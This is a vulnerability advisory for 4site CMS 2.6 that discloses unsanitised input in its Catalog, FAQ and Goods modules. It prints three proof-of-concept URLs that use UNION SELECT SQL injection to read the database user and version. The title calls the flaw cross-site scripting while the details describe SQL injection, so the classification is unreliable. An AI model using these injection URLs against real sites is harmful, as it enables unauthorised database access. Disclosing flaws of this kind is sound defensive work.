4Site CMS 2.6 Cross Site Scripting

`Vulnerability ID: HTB22639  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_4site_cms.html  
Product: 4site CMS   
Vendor: Method Lab ( http://www.4site.ru/ )   
Vulnerable Version: 2.6 and probably prior versions   
Vendor Notification: 05 October 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "Catalog", "FAQ" and "Goods" modules to properly sanitize user-supplied input.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://host/portfolio/index.shtml?s=8&i=-1+UNION+SELECT+1,user(),@@version,4,5,6,7,8,9  
http://host/catalog/index.shtml?cat=-1+UNION+SELECT+@@version  
http://host/faq/index.shtml?th=-1+UNION+SELECT+@@version  
  
  
`